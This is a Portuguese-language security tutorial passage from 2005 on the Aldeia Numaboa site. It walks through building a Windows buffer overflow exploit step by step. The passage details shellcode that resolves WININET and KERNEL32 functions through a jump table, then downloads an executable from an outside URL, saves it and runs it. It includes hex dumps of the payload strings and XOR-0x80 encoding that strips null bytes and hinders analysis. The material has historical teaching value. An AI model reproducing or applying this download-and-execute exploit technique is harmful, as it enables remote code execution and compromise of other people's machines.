A Aldeia Numaboa ancestral ainda está disponível para visitação. É a versão mais antiga da Aldeia que eu não quis simplesmente descartar depois de mais de 10 milhões de pageviews. Como diz a Sirley, nossa cozinheira e filósofa de plantão: "Misericórdia, ai que dó!"

Se você tiver curiosidade, o endereço é numaboa.net.br.

Leia mais...

Segurança

Buffer overflow no Windows

Sab

5

Nov

2005


23:55

(2 votos, média 5.00 de 5) 


Depois desta constatação, entramos no debugger e vasculhamos a memória até encontrar o endereço destas funções. Eles aparecem em 0x6A60107C (LoadLibraryA) e em 0x6A601078 (GetProcAddress). Agora é só chamar estas localizações usando endereçamento indireto (call dword ptr [0x6A60107C]) para chegar no lugar certo.

Para ser mais eficiente, vamos construir o exploit em duas partes:

  • Construir uma tabela de saltos das funções que pretendemos usar e
  • Rodar o código usando esta tabela.

Isto reduz a quantidade de código para chamar a função quando for preciso e miniminiza o uso da pilha para salvar registradores. Isto é importante porque, se usarmos PUSH e POP em excesso, o risco de detonar nosso código ou de causar outros problemas na pilha é muito grande. Mas, para construir a tabela de saltos, primeiro precisamos saber quais funções do Win32 precisam ser chamadas. Como 500 bytes é um espaço muito reduzido para conter um programa Windows realmente útil, usaremos este espaço apenas para chamar e executar um outro programa na Internet, um executável maior e mais bem construído. Ao invés de ficar se matando para reduzir o código a 500 bytes podemos executar um código de nível mais alto.

Para fazer o download de uma URL, precisamos das funções da WININET.DLL InternetOpenA, InternetCloseHandle, InternetOpenUrlA e InternetReadFile. Também vamos precisar da lcreat, _lwrite e _lclose da KERNEL32.DLL para salvar o arquivo em disco depois de terminado o download. Precisamos da GlobalAlloc da KERNEL32.DLL para alocar memória para o arquivo baixado e também da WinExec e ExitProcess (também da KERNEL32.DLL) para poder executar o que foi baixado e matar o processo do RUNDLL32 que foi corrompido totalmente antes que pudesse dar qualquer sinal de alerta smile

Saiba que num programa Win32 normal nunca é preciso chamar _lcreate ou qualquer outra função obsoleta. Entretanto, elas existem no Win95 e no NT e têm uma sintaxe de chamada bem mais simples do que a função CreateFile e outras semelhantes. É por isto que elas foram escolhidas.

Criando a tabela de saltos

Mãos à obra, vamos criar a tabela de saltos.

  • Problema número 1: precisamos chamar as funções pelo nome.

É isto mesmo, GetProcAddress aceita tanto um número (que não podemos usar porque é diferente nas diferentes versões) quanto um nome para a função que deve ser pesquisada. Mas o nome precisa terminar com um NULL. Hmmmm... encrenca à vista. Deveríamos ter pensado nisto antes! Mas isto não é tudo. Também precisamos juntar este troço com uma string da URL para fazer o download!

O negócio é botar a cabeça para funcionar. Como nenhum dos caracteres dos nomes das funções que precisamos, nem dos da URL para download, é maior do que ASCII 0x80, é seguro colocar os nomes das funções e a URL no final da string do exploit e depois fazer um XOR (ou ADD) 0x80 com cada byte. Quando o exploit começar a ser executado, é fácil obter novamente os valores originais fazendo novo XOR com 0x80. Além disso, existe uma vantagem adicional neste procedimento: quem for analisar o exploit terá dificuldade de descobrir o que estamos tentando fazer. Não é uma encriptação boa, mas este também não é o objetivo. Estamos apenas tentando fazer a coisa funcionar.

Assim, colocamos o seguinte no final da string do exploit:

     00000270:  .. .. .. .. .. .. .. 4B-45 52 4E 45-4C 33 32 00         KERNEL32
     00000280:  5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74 65 00  _lcreat _lwrite
     00000290:  5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63 00  _lclose WinExec
     000002A0:  45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62  ExitProcessGlob
     000002B0:  61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00  alAlloc WININET
     000002C0:  49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E  InternetOpenA In
     000002D0:  74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C  ternetCloseHandl
     000002E0:  65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72  e InternetOpenUr
     000002F0:  6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46  lA InternetReadF
     00000300:  69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C  ile http://www.l
     00000310:  30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67  0pht.com/~dildog
     00000320:  2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. ..  /eatme.exe      

Mas, se usarmos o XOR com 0x80 para eliminar os bytes 00, a coisa fica assim:

     00000270:  .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80         -+-++¶¶_«
     00000280:  DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80  __�__þ_«_______«
     00000290:  DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80  __�____«+__+ƒ_�«
     000002A0:  C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF E2  +ƒ__-__�___«¶___
     000002B0:  E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE C5 D4 80  þ_-___�«+++++++«
     000002C0:  C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1 80 C9 EE  +_______-___-«+_
     000002D0:  F4 E5 F2 EE-E5 F4 C3 EC-EF F3 E5 C8-E1 EE E4 EC  ______+____+þ___
     000002E0:  E5 80 C9 EE-F4 E5 F2 EE-E5 F4 CF F0-E5 EE D5 F2  _«+_______-___+_
     000002F0:  EC C1 80 C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6  _-«+_______-_þ_¶
     00000300:  E9 EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC  ___«____¶ªª___´_
     00000310:  B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7  ____´�__ª_______
     00000320:  AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. .. .. .. ..  ª_þ___

Informações adicionais